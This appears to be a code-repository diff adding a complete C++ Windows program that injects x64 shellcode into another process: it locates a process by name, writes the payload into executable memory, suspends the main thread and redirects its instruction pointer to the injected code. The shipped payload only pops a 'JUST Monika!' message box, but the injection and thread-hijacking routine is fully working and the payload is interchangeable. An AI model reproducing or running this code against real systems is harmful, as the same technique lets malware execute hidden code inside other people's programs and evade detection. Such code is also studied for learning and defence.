|
| 1 | +#include <windows.h> |
| 2 | +#include <tlhelp32.h> |
| 3 | +#include <cstdio> |
| 4 | + |
| 5 | +const BYTE shellcode[] = { |
| 6 | + 0x50, // push rax |
| 7 | + 0x53, // push rbx |
| 8 | + 0x51, // push rcx |
| 9 | + 0x52, // push rdx |
| 10 | + 0x56, // push rsi |
| 11 | + 0x57, // push rdi |
| 12 | + 0x41, 0x50, // push r8 |
| 13 | + 0x41, 0x51, // push r9 |
| 14 | + 0x41, 0x52, // push r10 |
| 15 | + 0x41, 0x53, // push r11 |
| 16 | + 0x41, 0x54, // push r12 |
| 17 | + 0x41, 0x55, // push r13 |
| 18 | + 0x41, 0x56, // push r14 |
| 19 | + 0x41, 0x57, // push r15 |
| 20 | + 0x55, // push rbp |
| 21 | + 0x48, 0x8B, 0xEC, // mov rbp, rsp |
| 22 | + 0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 (MessageBoxA Strick Call Convention) |
| 23 | + 0xE8, 0x00, 0x00, 0x00, 0x00, // call $+5 (self-relative) |
| 24 | + 0x5A, // pop rdx |
| 25 | + 0x48, 0x83, 0xC2, 0x3C, // add rdx, 0x3C (adjust rdx to point to "JUST Monika!") |
| 26 | + 0x48, 0x31, 0xC9, // xor rcx, rcx (HWND = NULL) |
| 27 | + 0x4C, 0x8B, 0xC2, // mov r8, rdx (R8 = address of "JUST Monika!") |
| 28 | + 0x49, 0x83, 0xC0, 0x0d, // add r8, 0x0d (adjust R8 to point to "ALERT") |
| 29 | + 0x4D, 0x31, 0xC9, // xor r9, r9 (uType = MB_OK) |
| 30 | + 0x48, 0xB8, 0x60, 0xE0, 0x94, 0x1A, 0xFC, 0x7F, 0x00, 0x00, // mov rax, <MessageBoxA address> |
| 31 | + 0xFF, 0xD0, // call rax (call MessageBoxA) |
| 32 | + 0x48, 0x83, 0xC4, 0x28, // add rsp, 32 (restore stack) |
| 33 | + 0x5D, // pop rbp |
| 34 | + 0x41, 0x5F, // pop r15 |
| 35 | + 0x41, 0x5E, // pop r14 |
| 36 | + 0x41, 0x5D, // pop r13 |
| 37 | + 0x41, 0x5C, // pop r12 |
| 38 | + 0x41, 0x5B, // pop r11 |
| 39 | + 0x41, 0x5A, // pop r10 |
| 40 | + 0x41, 0x59, // pop r9 |
| 41 | + 0x41, 0x58, // pop r8 |
| 42 | + 0x5F, // pop rdi |
| 43 | + 0x5E, // pop rsi |
| 44 | + 0x5A, // pop rdx |
| 45 | + 0x59, // pop rcx |
| 46 | + 0x5B, // pop rbx |
| 47 | + 0x58, // pop rax |
| 48 | + 0xC3, // ret |
| 49 | + 0x90, 0x90, // nop nop (padding) |
| 50 | + // MessageBox strings (null-terminated) |
| 51 | + 'J', 'U', 'S', 'T', ' ', 'M', 'o', 'n', 'i', 'k', 'a', '!', 0x00, // "JUST Monika!" |
| 52 | + 'A', 'L', 'E', 'R', 'T', 0x00, // "ALERT" |
| 53 | +}; |
| 54 | + |
| 55 | +HANDLE hProcess = NULL; |
| 56 | + |
| 57 | +// Function to get the PID of the target process by name |
| 58 | +DWORD GetProcessIdByName(const char* processName) |
| 59 | +{ |
| 60 | + PROCESSENTRY32 pe32; |
| 61 | + pe32.dwSize = sizeof(PROCESSENTRY32); |
| 62 | + |
| 63 | + HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
| 64 | + if (hProcessSnap == INVALID_HANDLE_VALUE) |
| 65 | + return 0; |
| 66 | + |
| 67 | + DWORD processId = 0; |
| 68 | + if (Process32First(hProcessSnap, &pe32)) |
| 69 | + { |
| 70 | + do |
| 71 | + { |
| 72 | + if (strcmp(pe32.szExeFile, processName) == 0) |
| 73 | + { |
| 74 | + processId = pe32.th32ProcessID; |
| 75 | + break; |
| 76 | + } |
| 77 | + } while (Process32Next(hProcessSnap, &pe32)); |
| 78 | + } |
| 79 | + |
| 80 | + CloseHandle(hProcessSnap); |
| 81 | + return processId; |
| 82 | +} |
| 83 | + |
| 84 | +// Function to find the main thread of the target process |
| 85 | +DWORD GetMainThreadId(DWORD processId) |
| 86 | +{ |
| 87 | + THREADENTRY32 te32; |
| 88 | + te32.dwSize = sizeof(THREADENTRY32); |
| 89 | + |
| 90 | + HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); |
| 91 | + if (hThreadSnap == INVALID_HANDLE_VALUE) |
| 92 | + return 0; |
| 93 | + |
| 94 | + DWORD mainThreadId = 0; |
| 95 | + FILETIME earliestTime = { MAXDWORD, MAXDWORD }; |
| 96 | + |
| 97 | + if (Thread32First(hThreadSnap, &te32)) |
| 98 | + { |
| 99 | + do |
| 100 | + { |
| 101 | + if (te32.th32OwnerProcessID == processId) |
| 102 | + { |
| 103 | + HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID); |
| 104 | + if (hThread) |
| 105 | + { |
| 106 | + FILETIME creationTime, exitTime, kernelTime, userTime; |
| 107 | + if (GetThreadTimes(hThread, &creationTime, &exitTime, &kernelTime, &userTime)) |
| 108 | + { |
| 109 | + if (CompareFileTime(&creationTime, &earliestTime) < 0) |
| 110 | + { |
| 111 | + earliestTime = creationTime; |
| 112 | + mainThreadId = te32.th32ThreadID; |
| 113 | + } |
| 114 | + } |
| 115 | + CloseHandle(hThread); |
| 116 | + } |
| 117 | + } |
| 118 | + } while (Thread32Next(hThreadSnap, &te32)); |
| 119 | + } |
| 120 | + |
| 121 | + CloseHandle(hThreadSnap); |
| 122 | + return mainThreadId; |
| 123 | +} |
| 124 | + |
| 125 | +// Function to inject shellcode into the target process and return the address of the remote memory |
| 126 | +LPVOID InjectShellcode(DWORD processId) |
| 127 | +{ |
| 128 | + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); |
| 129 | + if (!hProcess) |
| 130 | + { |
| 131 | + printf("Failed to open process with PID %lu\n", processId); |
| 132 | + return NULL; |
| 133 | + } |
| 134 | + |
| 135 | + // Allocate memory in the target process |
| 136 | + LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 137 | + if (!remoteMemory) |
| 138 | + { |
| 139 | + printf("Failed to allocate memory in the target process\n"); |
| 140 | + CloseHandle(hProcess); |
| 141 | + hProcess = NULL; |
| 142 | + return NULL; |
| 143 | + } |
| 144 | + printf("Allocated RWX memory at address: 0x%p\n", remoteMemory); |
| 145 | + |
| 146 | + // Write the shellcode to the allocated memory |
| 147 | + if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) |
| 148 | + { |
| 149 | + printf("Failed to write shellcode to the allocated memory\n"); |
| 150 | + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); |
| 151 | + CloseHandle(hProcess); |
| 152 | + hProcess = NULL; |
| 153 | + return NULL; |
| 154 | + } |
| 155 | + printf("Shellcode written to remote memory successfully\n"); |
| 156 | + return remoteMemory; |
| 157 | +} |
| 158 | + |
| 159 | +// Function to hijack the main thread and set its RIP to the injected shellcode |
| 160 | +bool HijackMainThread(DWORD mainThreadId, LPVOID shellcodeAddress) |
| 161 | +{ |
| 162 | + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId); |
| 163 | + if (!hThread) |
| 164 | + { |
| 165 | + printf("Failed to open main thread with TID %lu\n", mainThreadId); |
| 166 | + return false; |
| 167 | + } |
| 168 | + |
| 169 | + // Suspend the thread and get its context |
| 170 | + SuspendThread(hThread); |
| 171 | + printf("Suspended main thread with TID %lu\n", mainThreadId); |
| 172 | + |
| 173 | + CONTEXT ctx; |
| 174 | + ctx.ContextFlags = CONTEXT_FULL; |
| 175 | + if (GetThreadContext(hThread, &ctx)) |
| 176 | + { |
| 177 | + printf("Original RIP: 0x%p\n", (LPVOID)ctx.Rip); |
| 178 | + // Backup to RSP |
| 179 | + ctx.Rsp -= sizeof(LPVOID); |
| 180 | + // Write the original RIP to the stack |
| 181 | + WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, &ctx.Rip, sizeof(LPVOID), NULL); |
| 182 | + printf("Original RIP Pushed to Stack: 0x%p\n", (LPVOID)ctx.Rsp); |
| 183 | + |
| 184 | + // Set RIP to the shellcode address |
| 185 | + ctx.Rip = (DWORD64)shellcodeAddress; |
| 186 | + printf("Hijacking RIP to address: 0x%p\n", shellcodeAddress); |
| 187 | + |
| 188 | + // Update the thread context |
| 189 | + if (!SetThreadContext(hThread, &ctx)) |
| 190 | + { |
| 191 | + printf("Failed to set thread context\n"); |
| 192 | + ResumeThread(hThread); |
| 193 | + CloseHandle(hThread); |
| 194 | + return false; |
| 195 | + } |
| 196 | + } |
| 197 | + else |
| 198 | + { |
| 199 | + printf("Failed to get thread context\n"); |
| 200 | + ResumeThread(hThread); |
| 201 | + CloseHandle(hThread); |
| 202 | + return false; |
| 203 | + } |
| 204 | + |
| 205 | + // Resume the thread |
| 206 | + ResumeThread(hThread); |
| 207 | + printf("Resumed main thread with TID %lu\n", mainThreadId); |
| 208 | + CloseHandle(hThread); |
| 209 | + return true; |
| 210 | +} |
| 211 | + |
| 212 | +int main() |
| 213 | +{ |
| 214 | + const char* targetProcessName = "target.exe"; // Replace with your target process name |
| 215 | + DWORD processId = GetProcessIdByName(targetProcessName); |
| 216 | + |
| 217 | + if (processId) |
| 218 | + { |
| 219 | + printf("Target process \"%s\" found with PID %lu\n", targetProcessName, processId); |
| 220 | + |
| 221 | + // Inject shellcode and get the remote memory address |
| 222 | + LPVOID remoteMemory = InjectShellcode(processId); |
| 223 | + if (remoteMemory) |
| 224 | + { |
| 225 | + // Get the main thread ID |
| 226 | + DWORD mainThreadId = GetMainThreadId(processId); |
| 227 | + if (mainThreadId) |
| 228 | + { |
| 229 | + printf("Main thread found with TID %lu\n", mainThreadId); |
| 230 | + |
| 231 | + // Hijack the main thread |
| 232 | + if (HijackMainThread(mainThreadId, remoteMemory)) |
| 233 | + printf("Shellcode injected and main thread hijacked successfully.\n"); |
| 234 | + else |
| 235 | + printf("Failed to hijack main thread.\n"); |
| 236 | + } |
| 237 | + else |
| 238 | + { |
| 239 | + printf("Failed to find main thread.\n"); |
| 240 | + } |
| 241 | + } |
| 242 | + else |
| 243 | + { |
| 244 | + printf("Failed to inject shellcode.\n"); |
| 245 | + } |
| 246 | + } |
| 247 | + else |
| 248 | + { |
| 249 | + printf("Target process \"%s\" not found.\n", targetProcessName); |
| 250 | + } |
| 251 | + |
| 252 | + return 0; |
| 253 | +} |
0 commit comments